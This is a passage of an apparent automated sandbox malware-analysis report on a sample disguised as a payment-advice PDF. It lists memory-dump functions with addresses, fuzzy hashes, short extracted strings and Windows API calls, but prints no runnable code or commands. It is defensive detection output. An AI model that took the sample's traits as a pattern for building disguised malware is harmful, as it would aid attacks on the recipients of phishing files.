Instruction ID: 4b830d088945778a2d38f1184a6128f70dd428d751c80252eac2af52656250ee
Opcode Fuzzy Hash: 34f46b1e9d85e8133062f05a32db774b800961f1ad72346b5e9482fa6329dfb2
Instruction Fuzzy Hash: 15910274D01248CFEB10DFA8C984BDCBBB1FF89314F209269E519A72A1DB74A981CF55

Function 3752BA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a57a6daaf84722802575300e379ebc25aedffb4454c39291df8e00d62fe9a5b
Instruction ID: b19605725d6d40fb5b7da80d9ea17034168d3435769a1e1390d93ca96a2506e1
Opcode Fuzzy Hash: 4a57a6daaf84722802575300e379ebc25aedffb4454c39291df8e00d62fe9a5b
Instruction Fuzzy Hash: A4810774E016088FDB08DFAAD95069DBBF2BF88310F24D529E414BB394EB355942CF51

Function 37528640 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bee1ec456f21729baaaad345a21294d7d9555f0291f485b8ebd8c23d52807cf4
Instruction ID: 1293c2f02206fbd6637b60f361a6b4a7634cd225cc36c93fe9380c1ef20bea30
Opcode Fuzzy Hash: bee1ec456f21729baaaad345a21294d7d9555f0291f485b8ebd8c23d52807cf4
Instruction Fuzzy Hash: F271C375D01268CFEB68DF66C9847DDBBB2BF89301F1094AAD408A7354DB356A82CF50

Function 37A5F316 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11a6ebde4375a2e5b1af7690962941383a332cf95f8ffc62fce9404d1c0fa366
Instruction ID: ad1b26d13fae64ff74eecf8f5d37513f95805d8aca7ad16177cba075097352bd
Opcode Fuzzy Hash: 11a6ebde4375a2e5b1af7690962941383a332cf95f8ffc62fce9404d1c0fa366
Instruction Fuzzy Hash: E7611838A40219DFEB25DF64D950BADBBB6FB88300F1084A9D91977764DE329D82DF10

Function 37529D00 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3e158b383255b1e56ff41885e3f66f5e1eb883d155620ee9b819193b2842872
Instruction ID: 7426e77168300bac50703c5753c2a85f71f2398c07d96c7d8b38fb4f371d6c51
Opcode Fuzzy Hash: f3e158b383255b1e56ff41885e3f66f5e1eb883d155620ee9b819193b2842872
Instruction Fuzzy Hash: 1C4177B1E016188FEB58CF6BCD447C9FAF3AFC9200F04C5AAD54CA6265DB740A868F51

Function 3752A352 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5540ec3886c27d75fb4fdadd1b64501a7d6cc0f0b0bba187db318d3c838a689
Instruction ID: 054b7b16e47192fc7294d5441433d339c396d042e0cdb30b114e33ad17de6fd3
Opcode Fuzzy Hash: b5540ec3886c27d75fb4fdadd1b64501a7d6cc0f0b0bba187db318d3c838a689
Instruction Fuzzy Hash: 344169B1D016188FEB58CF6BCD457CAFAF3AFC8204F14C1AAD50CA6254DB744A868F51

Function 37A50980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 37A509FE
GetCurrentThread.KERNEL32 ref: 37A50A3B
GetCurrentProcess.KERNEL32 ref: 37A50A78
GetCurrentThreadId.KERNEL32 ref: 37A50AD1

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 3ac310f14df1cb179b85fd7921f33f936552b0320ba42ac9e3178798a9902a7f
Instruction ID: 772b09c9d655666e65003466c00ccf9d2c9c28368bd8f2d04e6dab94af82407c
Opcode Fuzzy Hash: 3ac310f14df1cb179b85fd7921f33f936552b0320ba42ac9e3178798a9902a7f
Instruction Fuzzy Hash: 915155B09006499FDB04CFA9C548BDEBBF1EF88310F20C469E469A7361DB35A984CF65

Function 3752D548 Relevance: 5.2, Strings: 4, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 3752D5ED
)N7, xrefs: 3752D67C
4'^q, xrefs: 3752D5CA
drH7, xrefs: 3752D56D

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$drH7$)N7
API String ID: 0-3684718874
Opcode ID: fe5867e12255e3a675627521ba9f2c4665aec0e8df38c637c525ab98373b8b50
Instruction ID: fa5ad49ff613fa89d084dabb9b2c46b7dd7bce87550b58befe0a9bc61e638321
Opcode Fuzzy Hash: fe5867e12255e3a675627521ba9f2c4665aec0e8df38c637c525ab98373b8b50
Instruction Fuzzy Hash: 86515370A002499FCB05EFA8D955ADEBBB2FF85300F108569E005BB366DB35AD46CF51

Function 00160B29 Relevance: 4.0, Strings: 3, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(y4, xrefs: 00160C64
LR^q, xrefs: 00160B62
(y4, xrefs: 00160C6A

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: LR^q$(y4$(y4
API String ID: 0-2382973545
Opcode ID: 1593664dc98ffe3bd8925d789fe92a356ec2ab4c21b2bf561f4eeb0257abccc1
Instruction ID: 94e3c969a817eab0cb3cae6b1c9984f7db93c3a41c9f5804af46dbf652d573eb
Opcode Fuzzy Hash: 1593664dc98ffe3bd8925d789fe92a356ec2ab4c21b2bf561f4eeb0257abccc1
Instruction Fuzzy Hash: 2BA1C674A10209DFCB44EFA8E985A9DBBB2FB49305B104629E415BB365DF30AD47CF90

Function 00160B30 Relevance: 4.0, Strings: 3, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(y4, xrefs: 00160C64
LR^q, xrefs: 00160B62
(y4, xrefs: 00160C6A

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: LR^q$(y4$(y4
API String ID: 0-2382973545
Opcode ID: c9f5140e4fe395e0c8824bbe2217f925a422f9572e9d11d54186a38a000ff0ce
Instruction ID: 69b46c9aa0e1b558b56521bc1cdf83d094ec60895eb79403f5115d8463c6aca1
Opcode Fuzzy Hash: c9f5140e4fe395e0c8824bbe2217f925a422f9572e9d11d54186a38a000ff0ce
Instruction Fuzzy Hash: B4A1B674A10209DFCB44EFA8E985A9DBBB2FB48305B104629E415BB365DF30AD47CF90

Function 37527920 Relevance: 3.9, Strings: 3, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<CH7, xrefs: 375279D4
<CH7, xrefs: 37527AEB
<CH7, xrefs: 37527B22

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: <CH7$<CH7$<CH7
API String ID: 0-1554385541
Opcode ID: 9bfb64c80f3e7157f4d27ba17b32c60868c4e78c3c6c881a5928ac5909de9087
Instruction ID: a3985b8fdeccc075ec349bc2f3c1100df8e169f7c51138e2430d2531def3a9ca
Opcode Fuzzy Hash: 9bfb64c80f3e7157f4d27ba17b32c60868c4e78c3c6c881a5928ac5909de9087
Instruction Fuzzy Hash: 8951E174D01318DFDB14DFA5D954AAEBBB2BF88304F208529D809BB395DB356986CF40

Function 00164F00 Relevance: 2.8, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

Hbq, xrefs: 00164FEB
Hbq, xrefs: 0016501E

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 5c31ab56e70824d558f6a7cad3f0d3eb6df4eea62ce9a3a3834d01b40e279226
Instruction ID: ce8f4ad0e1c21ac9fe3d377d5664b1e8fa0d823ab55f17c51cc00e213b295069
Opcode Fuzzy Hash: 5c31ab56e70824d558f6a7cad3f0d3eb6df4eea62ce9a3a3834d01b40e279226
Instruction Fuzzy Hash: CDB1DE303046518FDB199F38CCA4B6A7BE7AF89304F158569E846CB3A1CB34CD92DB91

Function 00165460 Relevance: 2.7, Strings: 2, Instructions: 229COMMON

Download Yara Rule

Strings

,bq, xrefs: 00165540
,bq, xrefs: 00165536

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: 134f4ab3ef74bc5ede1bed4d09251024912026297359a914d08578bd33fcbad2
Instruction ID: f98d6018884e8da98f707891adad4c4642683228fd10446de8e620b293e7f619
Opcode Fuzzy Hash: 134f4ab3ef74bc5ede1bed4d09251024912026297359a914d08578bd33fcbad2
Instruction Fuzzy Hash: 68816B34A009068FCB18CF69CC889AAB7B3BF88315F658169D416DB365DB31EC51CFA1

Function 37527922 Relevance: 2.6, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

<CH7, xrefs: 37527AEB
<CH7, xrefs: 37527B22

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: <CH7$<CH7
API String ID: 0-2616750891
Opcode ID: 5974cbf419cbe58c5783d5bd8d83cd155df2d6cc6e251d965168152c51294c0e
Instruction ID: 96627287490da9116e85fd7b13f3b68161bc0b752d4bd3b016fe8e8a197e4ec6
Opcode Fuzzy Hash: 5974cbf419cbe58c5783d5bd8d83cd155df2d6cc6e251d965168152c51294c0e
Instruction Fuzzy Hash: DF21F370D02319DFEB08DFA5D4447EEBBB2AF89314F50882AE414BB280DB755A4ACF51

Function 00168D19 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4'^q, xrefs: 00168D44
4'^q, xrefs: 00168D2D

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 1c6d6f046675f4e8050b6e409b319d00118b694a44c5be665ce4729cbdebcf9e
Instruction ID: 0c0ae61dd8d140a5be1b14eeada445b9fe0ec2ee33e232199e4d16816cbc0a7d
Opcode Fuzzy Hash: 1c6d6f046675f4e8050b6e409b319d00118b694a44c5be665ce4729cbdebcf9e
Instruction Fuzzy Hash: 08F0C2353402182FDB081AAA9C5497B7ACBEBCC3A0B048429F90AC7390DE72CC5283A1

Function 37A50104 Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 37A50222

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 3bd63a62dd5b8ed3e3abea7a9b688c08ac10f37554ee2c185ad5a9bb9def0d9b
Instruction ID: d47b7a8f3dfde70339fd1af14101566f9b893257070926acbcd7287053789e69
Opcode Fuzzy Hash: 3bd63a62dd5b8ed3e3abea7a9b688c08ac10f37554ee2c185ad5a9bb9def0d9b
Instruction Fuzzy Hash: B551C4B5D003099FDB14CFA9C984ADEFBB5FF48310F24812AE958AB210D7709985CF91

Function 37A50110 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 37A50222

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 240e5e8df77a994f7febb245f1584c0366505bb464c900339a3e8b33bf744827
Instruction ID: 44ae4b77ac40925af2011df57744a4c1ea0fc6e3e1db7fee90ad14b9a59e9b8a
Opcode Fuzzy Hash: 240e5e8df77a994f7febb245f1584c0366505bb464c900339a3e8b33bf744827
Instruction Fuzzy Hash: BB41B2B5D003099FDB14CFA9C984ADEFBB5BF48310F24852AE818AB210D770A985CF91

Function 37A51DC0 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 37A51E81

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: b5182a96d3bb041004e4175bb9cecc96ac8d7311a4b5e56be976013ecf602743
Instruction ID: 043e9603b79cac33b653ce319a433051eecd0e3bae507d27f4a8188f450d7e7f
Opcode Fuzzy Hash: b5182a96d3bb041004e4175bb9cecc96ac8d7311a4b5e56be976013ecf602743
Instruction Fuzzy Hash: C84117B8900305DFDB14CF99C884AAABBF5FF89324F24C459D959AB321D774A841CBA0

Function 37A5D488 Relevance: 1.6, APIs: 1, Instructions: 74comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 37A5D445

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: b0cc788da945e4206b9a69a1dbb2df41749a85b953c8624abfdf4a24ee820cb1
Instruction ID: 36c6b94885a2a5b8c450e6ea99f0aed60d0562bafdd79c0b9dca2e20bc2ef76f
Opcode Fuzzy Hash: b0cc788da945e4206b9a69a1dbb2df41749a85b953c8624abfdf4a24ee820cb1
Instruction Fuzzy Hash: BE21F5B5D006499FDB10DF9AD444BDEFBF4EB89324F10C45AD8A9A7210C374A685CFA1

Function 3752C175 Relevance: 1.6, Strings: 1, Instructions: 322COMMON

Download Yara Rule

Strings

(y4, xrefs: 3752C3DF

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: (y4
API String ID: 0-3259506724
Opcode ID: 3f61954be5d1c1744024bffa595e304adb0c4be3543706d2761df1347f3bd1c8
Instruction ID: d206008305350ea6ca44356e91bd0c6233ac57207522c21080b7052365285c80
Opcode Fuzzy Hash: 3f61954be5d1c1744024bffa595e304adb0c4be3543706d2761df1347f3bd1c8
Instruction Fuzzy Hash: E7E1D338A00218DFDB25DF61D954BADB7B2FB89301F1085A9D809773A4CB369E82DF50

Function 3752C173 Relevance: 1.6, Strings: 1, Instructions: 319COMMON

Download Yara Rule

Strings

(y4, xrefs: 3752C3DF

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: (y4
API String ID: 0-3259506724
Opcode ID: f6519cd2ed7ce6bbb9c6837a457b14daad130fc919f256738a376f3e8424d59a
Instruction ID: 689df32129d0daf436fd51e632a47f849069bcf48a5384a614176ef6186c2d74
Opcode Fuzzy Hash: f6519cd2ed7ce6bbb9c6837a457b14daad130fc919f256738a376f3e8424d59a
Instruction Fuzzy Hash: 6FE1C338A00218DFDB25DF75D954BADB7B2EB89301F1085A9D809773A4CB369E82DF50

Function 37A50BC0 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 37A50C4F

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b393be42a4aa94ddfcc82b1cb3230494151494c44484ff6aacbeb38346fbf9c0
Instruction ID: 9d82a157e11afd972d8ac0ceddb659513a7af76dbf2c237d1ea280d346340348
Opcode Fuzzy Hash: b393be42a4aa94ddfcc82b1cb3230494151494c44484ff6aacbeb38346fbf9c0
Instruction Fuzzy Hash: 2421F8B5900259AFDB10CFA9D584ADEFFF4FB48320F14841AE954A7310D374A944CFA5

Function 37A50BC8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 37A50C4F

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d627f6daad9bc517edaa825f76bbf36155b83385edc20774a22d17f5d800dccf
Instruction ID: 99e9ced9b182890d6fb8f9a8fde12515608eb96123d61537891e21ab21a1a27c
Opcode Fuzzy Hash: d627f6daad9bc517edaa825f76bbf36155b83385edc20774a22d17f5d800dccf
Instruction Fuzzy Hash: F621D3B5900259AFDB10CFAAD984ADEFFF4EB48320F14841AE958A7310D374A944DFA5

Function 37A5D3E8 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 37A5D445

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 8bede5a62a14c0ae1c0f6e25bf2d7104da716842f3723dc2687d38df0c430925
Instruction ID: b2c055723b3e9afbd6a709de0a0fdb8771a25abb6be45b0c932a183dccb5bdfe
Opcode Fuzzy Hash: 8bede5a62a14c0ae1c0f6e25bf2d7104da716842f3723dc2687d38df0c430925
Instruction Fuzzy Hash: DC1145B59003488FCB10CFAAC544BCEFFF4EB49320F208459D559A7210C334A585CFA5

Function 37A52018 Relevance: 1.5, APIs: 1, Instructions: 48timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 37A5207D

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 11a858afb84bc4642d58dff9c2753cb7197d78886822031d29a2bf85f1650b75
Instruction ID: f6068374b92ec0bdafeba23f62d19436678dd8992c926f11f19ea492cddf0661
Opcode Fuzzy Hash: 11a858afb84bc4642d58dff9c2753cb7197d78886822031d29a2bf85f1650b75
Instruction Fuzzy Hash: 2F1122B58003489FDB10CF9AC984BDEBFF4EB48320F108419D898A7210C375AA84CFA1

Function 37A5E700 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 37A5E765

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: e813c22922c78270e6a803692242be869e6f9d5d6dd64ec1e1f93b84002c1f68
Instruction ID: 47054d990fa6275341cd4101633c4d426d4f2b32f52caf76629210595b358bf6
Opcode Fuzzy Hash: e813c22922c78270e6a803692242be869e6f9d5d6dd64ec1e1f93b84002c1f68
Instruction Fuzzy Hash: E91122B5D04649CFCB10DF9AD944BCEFBF4EB48320F10842AD898A7240C374A544CFA5

Function 37A5C560 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 37A5D445

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 113dce68199505aa8a5a25c12b893226835490c7391c5fb21fb59e9d5d865fc8
Instruction ID: 27722db3164029857f107ca2b7befc1c3f956d2caceea14fc1da16547c88bcd6
Opcode Fuzzy Hash: 113dce68199505aa8a5a25c12b893226835490c7391c5fb21fb59e9d5d865fc8
Instruction Fuzzy Hash: 5E1133B59003498FCB10CF9AC584BDEFBF4EB48320F208859D958A7210C774A984CFA5

Function 37A52020 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 37A5207D

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 304846cb5895e59007042ba56d01a07079af2d8cc5cdf1f5f5ff1b57e55cb735
Instruction ID: e0add520715854b4d1ac87d3c26c72131fe566515b0b068a2f809fec58cad662
Opcode Fuzzy Hash: 304846cb5895e59007042ba56d01a07079af2d8cc5cdf1f5f5ff1b57e55cb735
Instruction Fuzzy Hash: D11100B58003499FDB10CF9AC885BDEFBF8EB48320F10841AE958A7210C375A984CFA5

Function 37A5E708 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 37A5E765

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 83fb2cef51d20e2ea849492aca142f495b9e32b27d0b71bde6cf08af943b30a8
Instruction ID: 441e8ca193bea502e6234cf9e2c66ae38a31089174bb4c980033d5b35016269b
Opcode Fuzzy Hash: 83fb2cef51d20e2ea849492aca142f495b9e32b27d0b71bde6cf08af943b30a8
Instruction Fuzzy Hash: CD11D0B5D04649DFCB10CF9AD544BDEFBF4EB48324F10846AD868A7610D378A544CFA9

Function 3752FAB0 Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

gH7, xrefs: 3752FAD1

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: gH7
API String ID: 0-3873094865
Opcode ID: 3e499afb629e4310686da730e0d8cc0a7bfe8196126bc36cdcfea79a10865e84
Instruction ID: ce197151957c77ea1bd76d80f9a0ad3bc916dd71ba29748f397532823409e100
Opcode Fuzzy Hash: 3e499afb629e4310686da730e0d8cc0a7bfe8196126bc36cdcfea79a10865e84
Instruction Fuzzy Hash: 2E712974E00219DFDB09DFB4D8586ADBBB2FF88300F10852AD406AB394DB79A942DF41

Function 00169EB0 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

(o^q, xrefs: 0016A039

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: (o^q
API String ID: 0-74704288
Opcode ID: 7a9b63850b02d42339fde02eb59e7a6a768aa5e56248db6fa4c579aa2a827c29
Instruction ID: 8ecdfde8a9eeca9af53c3184c17d95ad774c005d6c183875bea1a8e3e0a9545c
Opcode Fuzzy Hash: 7a9b63850b02d42339fde02eb59e7a6a768aa5e56248db6fa4c579aa2a827c29
Instruction Fuzzy Hash: 5D41CF31B042049FCB199B69DC54AAEBBE6AFC8710F24446AE906DB7A1DF319D41CB90

Function 3752FAA1 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

gH7, xrefs: 3752FAD1

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: gH7
API String ID: 0-3873094865
Opcode ID: 612c9267e3fb3859b336ead4b660b8999da8485b7b9959dddc6e882914bd8691
Instruction ID: 6342369b95d1245acde571ec7d1a2baeaca3794eb5b4a80fda40a8567a757730
Opcode Fuzzy Hash: 612c9267e3fb3859b336ead4b660b8999da8485b7b9959dddc6e882914bd8691
Instruction Fuzzy Hash: 85317C74A002099FDB19DF75C4586ADBBF2AF88310F14852ED846EB394DF399942CF51

Function 3752CF68 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

TkH7, xrefs: 3752CFE0

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
